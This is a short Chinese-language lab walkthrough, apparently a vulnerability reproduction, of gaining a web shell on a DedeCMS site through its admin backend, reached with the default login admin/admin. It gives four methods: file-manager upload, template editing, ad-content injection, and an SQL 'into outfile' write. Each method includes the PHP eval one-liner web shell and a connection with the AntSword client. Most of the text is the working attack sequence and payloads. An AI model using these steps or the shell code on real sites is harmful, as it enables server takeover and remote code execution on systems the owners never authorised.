DeDeCMS
环境部署
同意协议
环境检测
参数配置
漏洞复现
姿势⼀：通过⽂件管理器上传WebShell
#前台
http://192.168.4.139/dedecms/index.php?upcache=1
#后台
http://192.168.4.139/dedecms/dede/
#信息
username:admin
password:admin
上传文件
成功上传
文件内容
<?php phpinfo();@eval($_POST[cmd]);?>
蚁剑连接getshell
姿势⼆：修改模板⽂件拿WebShell
找到默认模板下的index.html
并修改代码,修改如下
点击 【⽣成】 --》 【更新主⻚HTML】 --》将主⻚位置修改为 【../index.php 】--》 点击 【⽣成静态】 --》点击 【更新主⻚】 再次访问站点⾸⻚可发现变化..
页面如下
使用蚁剑进行连接
姿势三：后台任意命令执⾏拿WebShell
点击 【模块】 --》 【⼴告管理】 --》 【增加⼀个新⼴告】 --》在 【⼴告内容】 处添 加⼀句话代码--》点击 【确定】
广告内容如下
<?php phpinfo();@eval($_POST[cmd]);?>
点击代码找到广告路径
访问路径
用蚁剑连接
姿势四:sql命令行执行拿webshell
找到系统-sql命令行执行工具
sql语句
select "<?php phpinfo();@eval($_POST[cmd]);" into outfile "E:/phpstudy_pro/WWW/DedeCMS/uploads/shell.php" 
查看文件
用蚁剑连接
